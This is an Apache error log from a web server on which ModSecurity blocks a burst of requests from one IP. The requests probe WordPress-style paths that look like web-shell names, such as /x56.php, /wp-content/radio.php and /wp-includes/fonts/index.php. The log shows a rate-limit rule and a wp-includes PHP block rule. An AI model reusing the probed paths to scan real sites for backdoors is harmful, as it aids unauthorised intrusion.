[Thu Dec 25 22:39:52.090639 2025] [:error] [pid 22043:tid 22071] [client 4.217.192.251:64271] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aU1MuD4YVtlb2Iz_QE5Z_QAAABc"]
[Thu Dec 25 22:39:52.387262 2025] [:error] [pid 27869:tid 27892] [client 4.217.192.251:64291] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aU1MuBNK7_n86kBD7qfoDAAAAJU"]
[Thu Dec 25 22:39:52.709486 2025] [:error] [pid 22131:tid 22144] [client 4.217.192.251:52135] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aU1MuJvVMtSTB4lX2fY-vgAAAEo"]
[Thu Dec 25 22:39:53.000791 2025] [:error] [pid 22131:tid 22147] [client 4.217.192.251:64298] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aU1MuJvVMtSTB4lX2fY-vwAAAEw"]
[Thu Dec 25 22:39:53.276209 2025] [:error] [pid 22131:tid 22150] [client 4.217.192.251:64292] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aU1MuZvVMtSTB4lX2fY-wAAAAE8"]
[Thu Dec 25 22:39:53.552439 2025] [:error] [pid 22131:tid 22142] [client 4.217.192.251:57713] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aU1MuZvVMtSTB4lX2fY-wwAAAEg"]
[Thu Dec 25 22:39:53.856315 2025] [:error] [pid 22131:tid 22157] [client 4.217.192.251:5541] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aU1MuZvVMtSTB4lX2fY-xgAAAFU"]
[Thu Dec 25 22:39:54.153750 2025] [:error] [pid 22045:tid 22102] [client 4.217.192.251:5372] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aU1MuqsGGmXjDnvlmHt3CQAAAUA"]
[Thu Dec 25 22:39:54.427303 2025] [:error] [pid 22044:tid 22087] [client 4.217.192.251:5324] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "aU1MunPTC5rQKTB0FQ-qNwAAAMw"]
[Thu Dec 25 22:39:54.714603 2025] [:error] [pid 22131:tid 22145] [client 4.217.192.251:5321] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "aU1MupvVMtSTB4lX2fY-zgAAAEs"]
[Thu Dec 25 22:39:55.012767 2025] [:error] [pid 22131:tid 22150] [client 4.217.192.251:5329] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "aU1Mu5vVMtSTB4lX2fY-0gAAAE8"]
[Thu Dec 25 22:39:55.289282 2025] [:error] [pid 22044:tid 22082] [client 4.217.192.251:65294] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "aU1Mu3PTC5rQKTB0FQ-qOQAAAMc"]
[Thu Dec 25 22:39:55.596418 2025] [:error] [pid 22131:tid 22159] [client 4.217.192.251:64285] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aU1Mu5vVMtSTB4lX2fY-1QAAAFc"]
[Thu Dec 25 22:39:55.880827 2025] [:error] [pid 22043:tid 22072] [client 4.217.192.251:52113] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aU1Muz4YVtlb2Iz_QE5aCAAAABg"]
[Thu Dec 25 22:39:56.179545 2025] [:error] [pid 22131:tid 22157] [client 4.217.192.251:52111] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aU1MvJvVMtSTB4lX2fY-1gAAAFU"]
[Thu Dec 25 22:39:56.456078 2025] [:error] [pid 22131:tid 22151] [client 4.217.192.251:5591] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aU1MvJvVMtSTB4lX2fY-2AAAAFA"]
[Thu Dec 25 22:39:56.765030 2025] [:error] [pid 22043:tid 22061] [client 4.217.192.251:61652] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aU1MvD4YVtlb2Iz_QE5aCQAAAA0"]
[Thu Dec 25 22:39:57.060809 2025] [:error] [pid 27869:tid 27891] [client 4.217.192.251:5359] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aU1MvRNK7_n86kBD7qfoHAAAAJQ"]
[Thu Dec 25 22:39:57.372100 2025] [:error] [pid 27869:tid 27895] [client 4.217.192.251:57386] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aU1MvRNK7_n86kBD7qfoHwAAAJg"]
[Thu Dec 25 22:39:57.680202 2025] [:error] [pid 27869:tid 27889] [client 4.217.192.251:5350] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aU1MvRNK7_n86kBD7qfoIgAAAJI"]
[Thu Dec 25 22:39:57.964736 2025] [:error] [pid 22043:tid 22059] [client 4.217.192.251:61672] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/index.php"] [unique_id "aU1MvT4YVtlb2Iz_QE5aCgAAAAs"]
[Thu Dec 25 22:39:58.245534 2025] [:error] [pid 22044:tid 22088] [client 4.217.192.251:60824] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/index.php"] [unique_id "aU1MvnPTC5rQKTB0FQ-qQwAAAM0"]
[Thu Dec 25 22:39:58.533850 2025] [:error] [pid 22043:tid 22057] [client 4.217.192.251:61670] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/index.php"] [unique_id "aU1Mvj4YVtlb2Iz_QE5aDAAAAAk"]
[Thu Dec 25 22:39:58.983501 2025] [:error] [pid 22043:tid 22069] [client 4.217.192.251:5613] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/index.php"] [unique_id "aU1Mvj4YVtlb2Iz_QE5aDgAAABU"]
[Thu Dec 25 22:39:59.269353 2025] [:error] [pid 27869:tid 27886] [client 4.217.192.251:5631] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aU1MvxNK7_n86kBD7qfoJgAAAI8"]
[Thu Dec 25 22:39:59.552195 2025] [:error] [pid 22043:tid 22070] [client 4.217.192.251:5575] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aU1Mvz4YVtlb2Iz_QE5aDwAAABY"]
[Thu Dec 25 22:39:59.837649 2025] [:error] [pid 22043:tid 22062] [client 4.217.192.251:5624] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aU1Mvz4YVtlb2Iz_QE5aEgAAAA4"]
[Thu Dec 25 22:40:00.124136 2025] [:error] [pid 22131:tid 22136] [client 4.217.192.251:55429] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aU1MwJvVMtSTB4lX2fY-2QAAAEM"]
[Thu Dec 25 22:40:00.436011 2025] [:error] [pid 22043:tid 22063] [client 4.217.192.251:52096] [client 4.217.192.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/about.php"] [unique_id "aU1MwD4YVtlb2Iz_QE5aEwAAAA8"]
[Thu Dec 25 22:40:00.723439 2025] [:error] [pid 22043:tid 22054] [client 4.217.192.251:5626] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aU1MwD4YVtlb2Iz_QE5aFAAAAAY"]
[Thu Dec 25 22:40:01.001317 2025] [:error] [pid 22131:tid 22145] [client 4.217.192.251:65314] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aU1MwZvVMtSTB4lX2fY-2gAAAEs"]
[Thu Dec 25 22:40:01.278875 2025] [:error] [pid 22131:tid 22143] [client 4.217.192.251:64313] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aU1MwZvVMtSTB4lX2fY-3gAAAEk"]
[Thu Dec 25 22:40:01.567013 2025] [:error] [pid 22043:tid 22066] [client 4.217.192.251:57695] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aU1MwT4YVtlb2Iz_QE5aFQAAABI"]
[Thu Dec 25 22:40:01.892075 2025] [:error] [pid 22044:tid 22090] [client 4.217.192.251:65298] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aU1MwXPTC5rQKTB0FQ-qUQAAAM8"]
[Thu Dec 25 22:40:02.175141 2025] [:error] [pid 22131:tid 22158] [client 4.217.192.251:52133] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aU1MwpvVMtSTB4lX2fY-4wAAAFY"]
[Thu Dec 25 22:40:02.469825 2025] [:error] [pid 22043:tid 22049] [client 4.217.192.251:61649] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aU1Mwj4YVtlb2Iz_QE5aFwAAAAE"]
[Thu Dec 25 22:40:02.758311 2025] [:error] [pid 22043:tid 22061] [client 4.217.192.251:61659] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aU1Mwj4YVtlb2Iz_QE5aGQAAAA0"]
[Thu Dec 25 22:40:03.041300 2025] [:error] [pid 22044:tid 22089] [client 4.217.192.251:5331] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aU1Mw3PTC5rQKTB0FQ-qVAAAAM4"]
[Thu Dec 25 22:40:03.346162 2025] [:error] [pid 22043:tid 22059] [client 4.217.192.251:57672] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aU1Mwz4YVtlb2Iz_QE5aGwAAAAs"]
[Thu Dec 25 22:40:03.629499 2025] [:error] [pid 22043:tid 22057] [client 4.217.192.251:52126] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aU1Mwz4YVtlb2Iz_QE5aHAAAAAk"]
[Thu Dec 25 22:40:03.915028 2025] [:error] [pid 22043:tid 22056] [client 4.217.192.251:52146] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aU1Mwz4YVtlb2Iz_QE5aHQAAAAg"]
[Thu Dec 25 22:40:04.221433 2025] [:error] [pid 22044:tid 22078] [client 4.217.192.251:5339] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aU1MxHPTC5rQKTB0FQ-qWQAAAMM"]
[Thu Dec 25 22:40:04.566989 2025] [:error] [pid 22044:tid 22077] [client 4.217.192.251:64304] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aU1MxHPTC5rQKTB0FQ-qWwAAAMI"]
[Thu Dec 25 22:40:04.873196 2025] [:error] [pid 22044:tid 22084] [client 4.217.192.251:60859] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aU1MxHPTC5rQKTB0FQ-qXQAAAMk"]
[Thu Dec 25 22:40:05.186877 2025] [:error] [pid 22045:tid 22105] [client 4.217.192.251:61656] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aU1MxasGGmXjDnvlmHt3DQAAAUM"]
[Thu Dec 25 22:40:05.473560 2025] [:error] [pid 22131:tid 22141] [client 4.217.192.251:52098] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aU1MxZvVMtSTB4lX2fY-6gAAAEc"]
[Thu Dec 25 22:40:05.781137 2025] [:error] [pid 22131:tid 22160] [client 4.217.192.251:5605] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aU1MxZvVMtSTB4lX2fY-6wAAAFg"]
[Thu Dec 25 22:40:06.066170 2025] [:error] [pid 22044:tid 22090] [client 4.217.192.251:5540] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aU1MxnPTC5rQKTB0FQ-qYAAAAM8"]
[Thu Dec 25 22:40:06.352998 2025] [:error] [pid 22044:tid 22095] [client 4.217.192.251:61675] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtz.php"] [unique_id "aU1MxnPTC5rQKTB0FQ-qYgAAANQ"]
[Thu Dec 25 22:40:06.633230 2025] [:error] [pid 22131:tid 22134] [client 4.217.192.251:65342] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtz.php"] [unique_id "aU1MxpvVMtSTB4lX2fY-7wAAAEE"]
[Thu Dec 25 22:40:06.926656 2025] [:error] [pid 22131:tid 22139] [client 4.217.192.251:5362] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtz.php"] [unique_id "aU1MxpvVMtSTB4lX2fY-8AAAAEU"]
[Thu Dec 25 22:40:07.205117 2025] [:error] [pid 22131:tid 22156] [client 4.217.192.251:57680] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtz.php"] [unique_id "aU1Mx5vVMtSTB4lX2fY-8QAAAFQ"]
[Thu Dec 25 22:40:07.488034 2025] [:error] [pid 22044:tid 22076] [client 4.217.192.251:61660] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aU1Mx3PTC5rQKTB0FQ-qZQAAAME"]
[Thu Dec 25 22:40:07.769101 2025] [:error] [pid 27869:tid 27873] [client 4.217.192.251:55470] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aU1MxxNK7_n86kBD7qfoMAAAAII"]
[Thu Dec 25 22:40:08.058840 2025] [:error] [pid 22044:tid 22078] [client 4.217.192.251:57705] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aU1MyHPTC5rQKTB0FQ-qZwAAAMM"]
[Thu Dec 25 22:40:08.349651 2025] [:error] [pid 22131:tid 22152] [client 4.217.192.251:64268] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aU1MyJvVMtSTB4lX2fY-8wAAAFE"]
